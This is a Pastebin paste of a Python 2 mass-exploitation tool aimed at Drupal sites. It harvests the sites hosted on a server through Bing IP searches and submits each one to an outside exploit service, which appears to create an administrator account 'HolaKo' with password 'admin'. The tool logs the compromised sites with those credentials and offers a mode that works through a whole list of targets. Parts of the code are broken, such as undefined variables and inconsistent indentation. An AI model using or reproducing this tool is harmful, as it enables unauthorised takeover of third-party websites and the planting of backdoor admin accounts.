Advertisement
SalimiII

durpal

Apr 26th, 2015
509
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 4.88 KB | None | 0 0
  1. #!/usr/bin/python
  2.  
  3. import urllib2,urllib,re,sys,json
  4. from urlparse import urlparse
  5.  
  6. logo = '''
  7.  ____                         _     _____           _ _    _ _  
  8. |  _ \ _ __ _   _ _ __   __ _| |   |_   ____   ___ | | | _(_| |_
  9. | | | | '__| | | | '_ \ / _` | |_____| |/ _ \ / _ \| | |/ | | __|
  10. | |_| | |  | |_| | |_) | (_| | |_____| | (_) | (_) | |   <| | |_
  11. |____/|_|   \__,_| .__/ \__,_|_|     |_|\___/ \___/|_|_|\_|_|\__|
  12.                  |_|                                      Version 1.0    
  13. '''
  14.  
  15. menu ='''
  16. \t{1} Drupal Bing Exploiter
  17. \t{2} Get Drupal Websites
  18. \t{3} Drupal Mass Exploiter
  19. \t{4} About Me
  20. '''
  21. def about():
  22.  
  23.      print '''
  24.              
  25.    
  26.     #    This Tool Created By M4XS4L1M1                                 #
  27.     |                                                                   |
  28.     #         Dont change The Right                                     #
  29.     |                                                                   |
  30.     #     Hacker Make Tool Not Tool Make Hacker                         #
  31.     |                                                                   |
  32.     # Contact Me If You Have An Idea Or For Make Tool For same Exploit  #
  33.     |                                                                   |
  34.     #       Mail : m4xs4l1m1@gmail.com                                  #
  35.     |                                                                   |
  36.    
  37.    
  38.  
  39. '''
  40.  
  41.             #Definition Of Drupal Bing Expoliter
  42. def drupal():
  43.  
  44.     '''Drupal Exploit Binger All Websites Of server '''
  45.     ip  = raw_input('1- IP : ')
  46.     page  = 1
  47.     while page <= 50 :
  48.      
  49.       url   = "http://www.bing.com/search?q=ip%3A"+ip+"&go=Valider&qs=n&form=QBRE&pq=ip%3A"+ip+"&sc=0-0&sp=-1&sk=&cvid=af529d7028ad43a69edc90dbecdeac4f&first="+str(page)
  50.       req   = urllib2.Request(url)
  51.       opreq = urllib2.urlopen(req).read()
  52.       findurl = re.findall('<div class="b_title"><h2><a href="(.*?)" h=',opreq)
  53.       page += 1
  54.      
  55.       for url in findurl :
  56.         try :
  57.            
  58.                         urlpa = urlparse(url)
  59.                         site  = urlpa.netloc
  60.  
  61.                         print "[+] Testing At "+site
  62.                         resp = urllib2.urlopen('http://vps-id.com/DRUPAL/?url='+site+'&submit=submit')
  63.                         read=resp.read()
  64.                         if "User : HolaKo" in read:
  65.                            print "Exploit found =>"+site
  66.  
  67.                            print "user:HolaKo\npass:admin"
  68.                            a = open('up.txt','a')
  69.                            a.write(site+'\n')
  70.                            a.write("user:"+user+"\npass:"+pwd+"\n")
  71.                         else :
  72.                            print "[-] Expl Not Found :( "
  73.  
  74.         except Exception as ex :
  75.                        print ex
  76.                        sys.exit(0)
  77.  
  78.  
  79.             #Drupal Server ExtraCtor
  80. def getdrupal():
  81.     ip  = raw_input('2- Ip : ')
  82.     page  = 1
  83.     sites = list()
  84.     while page <= 50 :
  85.      
  86.       url   = "http://www.bing.com/search?q=ip%3A"+ip+"+node&go=Valider&qs=ds&form=QBRE&first="+str(page)
  87.       req   = urllib2.Request(url)
  88.       opreq = urllib2.urlopen(req).read()
  89.       findurl = re.findall('<div class="b_title"><h2><a href="(.*?)" h=',opreq)
  90.       page += 1
  91.      
  92.       for url in findurl :
  93.                              split = urlparse(url)
  94.                              site   = split.netloc
  95.                              if site not in sites :
  96.                                       print site
  97.                                       sites.append(site)
  98.      
  99.  
  100.             #Drupal Mass List Exploiter
  101. def drupallist():
  102.         listop = raw_input("Enter The list Txt :")
  103.     fileopen = open(listop,'r')
  104.     content = fileopen.readlines()
  105.     for i in content :
  106.                 url=i.strip()
  107.         try :
  108.             openurl = urllib2.urlopen('http://vps-id.com/DRUPAL/?url='+url+'&submit=submit')
  109.             readcontent = openurl.read()
  110.             if  "Success" in readcontent :
  111.                                 print "[+]Success =>"+url
  112.                 print "[-]username:HolaKo\n[-]password:admin"
  113.                                 save = open('drupal.txt','a')
  114.                                 save.write(url+"\n"+"[-]username:HolaKo\n[-]password:admin\n")
  115.                                
  116.             else :
  117.                 print i + "=> exploit not found "
  118.         except Exception as ex :
  119.                         print ex
  120.  
  121. def main():
  122.  print logo
  123.  print menu
  124.  choose = raw_input("choose a number :")
  125.  while True :
  126.  
  127.   if choose == "1":
  128.     drupal()
  129.   if choose == "2":
  130.     getdrupal()
  131.   if choose == "3":
  132.     drupallist()
  133.   if choose == "4":
  134.     about()
  135.   if choose == "11":
  136.         print "#By"
  137.         exit()
  138.   con = raw_input('Continue [Y/n] -> ')
  139.   if con[0].upper() == 'N' :
  140.                                 exit()
  141.   if con[0].upper() == 'Y' :
  142.                                 main()
  143.                                
  144.  
  145.  
  146. if __name__ == '__main__':main()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement